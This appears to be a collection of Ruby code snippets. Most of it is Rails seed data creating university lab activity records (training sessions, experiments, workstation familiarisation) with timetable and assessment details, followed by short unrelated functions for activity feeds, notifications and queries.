ActivityAssess.where(activity_id: a616.id).first_or_create!(assess_weight: nil, notes: \"only training to get them ready for the actual exp\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a616.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a616.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a617 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"131\").first_or_create!(name: \"Consigma Back Training\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at617 = ActivityTimetable.where(activity_id: a617.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 3, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 10, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a617.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a617.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a617.id).first_or_create!(assess_weight: nil, notes: \"only training to get them ready for the actual exp\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a617.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a617.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a618 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"132\").first_or_create!(name: \"Cont Crystalliser Training\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at618 = ActivityTimetable.where(activity_id: a618.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 3, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 10, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a618.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a618.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a618.id).first_or_create!(assess_weight: nil, notes: \"only training to get them ready for the actual exp\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a618.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a618.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a619 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"133\").first_or_create!(name: \"Carousel Filter Dryer Training\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at619 = ActivityTimetable.where(activity_id: a619.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 3, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 10, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a619.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a619.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a619.id).first_or_create!(assess_weight: nil, notes: \"only training to get them ready for the actual exp\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a619.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a619.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a620 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM1005\").first.id, code: \"unknowncode82\").first_or_create!(name: \"Lab\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at620 = ActivityTimetable.where(activity_id: a620.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a620.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a620.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a620.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a620.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a620.id, programme_id: $prog_com.id).first_or_create!\n\n\n a621 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode83\").first_or_create!(name: \"Iforge\",\n name_abrv: \"IF\", archived: false, in_drive: false, user_id: 4)\n at621 = ActivityTimetable.where(activity_id: a621.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a621.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a621.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a621.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a621.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a621.id, programme_id: $prog_com.id).first_or_create!\n\n\n a622 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE360\").first.id, code: \"134\").first_or_create!(name: \"Investigation of Residence Time Distribution in a CSTR\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at622 = ActivityTimetable.where(activity_id: a622.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 6, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 6, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a622.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a622.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a622.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a622.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a622.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a623 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at623 = ActivityTimetable.where(activity_id: a623.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a623.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a623.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a623.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a623.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a623.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a624 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6600\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at624 = ActivityTimetable.where(activity_id: a624.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a624.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a624.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a624.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a624.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a624.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a625 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6222\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at625 = ActivityTimetable.where(activity_id: a625.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a625.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a625.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a625.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a625.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a625.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a626 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6225\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at626 = ActivityTimetable.where(activity_id: a626.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a626.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a626.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a626.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a626.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a626.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a627 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM6910\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at627 = ActivityTimetable.where(activity_id: a627.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a627.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a627.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a627.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a627.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a627.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a628 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"141\").first_or_create!(name: \"Lab View\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at628 = ActivityTimetable.where(activity_id: a628.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a628.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a628.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a628.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a628.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a628.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a629 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"402\").first_or_create!(name: \"FPGA\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at629 = ActivityTimetable.where(activity_id: a629.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a629.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a629.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a629.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a629.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a629.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a630 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6600\").first.id, code: \"402\").first_or_create!(name: \"FPGA\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at630 = ActivityTimetable.where(activity_id: a630.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a630.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a630.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a630.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a630.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a630.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a631 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"142\").first_or_create!(name: \"Power Electronics\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at631 = ActivityTimetable.where(activity_id: a631.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a631.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a631.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a631.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a631.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a631.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a632 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"313\").first_or_create!(name: \"Clean Room\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at632 = ActivityTimetable.where(activity_id: a632.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a632.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a632.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a632.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a632.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a632.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a633 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE360\").first.id, code: \"135\").first_or_create!(name: \"Bioreactor Engineering\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at633 = ActivityTimetable.where(activity_id: a633.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 6, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a633.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a633.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a633.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a633.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a633.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a634 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR131\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at634 = ActivityTimetable.where(activity_id: a634.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 6, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"To run before DC Circuits\",\n capacity: 140, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a634.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a634.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a634.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a634.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a634.id, programme_id: $prog_amrc.id).first_or_create!\n \nend", "def find_activities\n #This needs to be updated to handle the Ring Model\n #Unit Test is in activity_test.rb\n activities = Array.new\n for friend in mutual_friends\n for activity in friend.activities\n #Does the user have permission to view the activity?\n #The friend must have the user in a ring of equal distance or closer than the content created.\n #However, Comments don't have a ring number, so their respective posts must be referred to.\n if activity.entity_type == 'Comment'\n #The user must be close enough to his/her friend \n if activity.entity.post.ring >= friend.which_ring(self)\n activities << activity\n end\n elsif activity.entity.ring >= friend.which_ring(self)\n if activity.entity_type == 'Friendship'\n #A mutual friendship creates two activities--one for each friendship.\n #This makes sure that only one activity is seen in the list.\n activities.include?(activity.entity.mutual_friendship.activity) ? nil : activities << activity\n else \n activities << activity\n end\n end\n end\n end\n #Sort the activity chronologically\n activities.sort!{|a, b| b.updated_at<=>a.updated_at}\n return activities\n end", "def update_activities(arr)\n self.activities.destroy_all\n arr.each do |atts|\n self.activities.create!(atts.merge({\n :start_at => sync_time(atts[:start_at]),\n :end_at => sync_time(atts[:end_at])\n }))\n end\n end", "def set_activities_for_pagination\n \n end", "def stringify_activity\n return Hash[locale, summarize_activities] if activities.length > 1\n\n actor_name = User.find_by(id: actor_id)&.name\n\n stringify = case activity['verb']\n when 'follow', 'post', 'post_like', 'comment_like', 'invited'\n I18n.t(activity['verb'].to_sym,\n scope: [:notifications],\n actor: actor_name)\n when 'comment'\n # Checking what exactly this feed is refering to.\n # Reply in post, reply in comment, mention in comment,\n # mention in post, or notification from following post\n reply_to_user_id = activity['reply_to_user'].split(':').last\n reply_to_type = activity['reply_to_type']\n mentions = activity['mentioned_users'] || []\n\n if mentions.include?(feed_id.to_i)\n # got mentioned in a comment\n I18n.t(:comment_mentioned,\n scope: [:notifications],\n actor: actor_name)\n elsif feed_id == reply_to_user_id\n if reply_to_type == 'post'\n I18n.t(:post_replied,\n scope: [:notifications],\n actor: actor_name)\n else\n I18n.t(:comment_replied,\n scope: [:notifications],\n actor: actor_name)\n end\n else\n followed_post_activity(actor_name)\n end\n end\n\n Hash[locale, stringify]\n end", "def archived_activities(skip = 0, limit = 100)\n ArchivedResidentActivity.where(:resident_id => id.to_s).order_by(:created_at => :desc).skip(skip).limit(limit).collect{|a| activities.new(a.to_attrs) } # DO NOT SAVE entry\n end", "def add_to_feeds( feed_item, membership )\n feed_item.user = membership.user\n feed_item.referenced_model = membership.group\n feed_item.save!\n membership.group.feed.add_feed_item( feed_item )\n membership.user.feed.add_feed_item( feed_item )\n membership.group.users.each { |user| user.feed.add_feed_item( feed_item ) } # add to each feed item for members of the group\n end", "def feedalize(*args, &block)\n Feedalizer::Feed.new(*args, &block)\nend", "def add_to_feeds( feed_item, achievement )\n feed_item.user = achievement.creator\n feed_item.referenced_model = achievement\n feed_item.save!\n\n achievement.group.feed.add_feed_item( feed_item )\n # achievement.creator.feed.add_feed_item( feed_item )\n achievement.group.users.each { |user| user.feed.add_feed_item( feed_item ) } # add to each feed item for members of the group\n end", "def publish_activity(name, options={})\n options[:receivers] = self.send(options[:receivers]) if options[:receivers].is_a?(Symbol)\n activity = activity_class.publish(name, {:actor => self}.merge(options))\n end", "def all_activities(**args)\n params = parameters(args) do\n optional_params :user_id, :filter_id, :type, :start, :limit, :start_date, :end_date, :done\n end\n request(:get, 'activities', params)\n end", "def activity_for_another_channel(channel)\n Activity.create(\n subject: self,\n object: channel,\n name: \"ADD_BLOCK_TO_OTHER_CHANNEL\",\n checked: false,\n actor: self.user,\n receiver: channel.users[0]\n )\n end", "def activities()\n sql = \"SELECT a.* FROM activities a INNER JOIN bookings b ON b.activities_id = a.id WHERE b.members_id =$1\"\n values = [@id]\n result = SqlRunner.run(sql, values)\n return result.map { |session| Activity.new( session) }\n end", "def activity\n if !current_group.nil?\n \t ideas = Idea.find_all_by_group_id(current_user.groups.map(&:id))\n else\n ideas = current_user.ideas\n end\n \t@activities = Activity.find_all_by_idea_id(ideas.map(&:id))\n end", "def deal_activities(id:, **args)\n params = parameters(args) do\n optional_params :start, :limit, :done, :exclude\n end\n request(:get, \"deals/#{id}/activities\", params)\n end", "def ordered_activities\n @ordered_activities ||= activities.sort{|a, b| b.created_at <=> a.created_at}\n end", "def create\n @activity = Activity.new(activity_params)\n @activity.group = @group\n\n respond_to do |format|\n if @activity.save\n format.html do\n redirect_to group_activity_url(@group, @activity)\n flash_message(:info, I18n.t('activities.created'))\n end\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_activities_by_interval()\n return 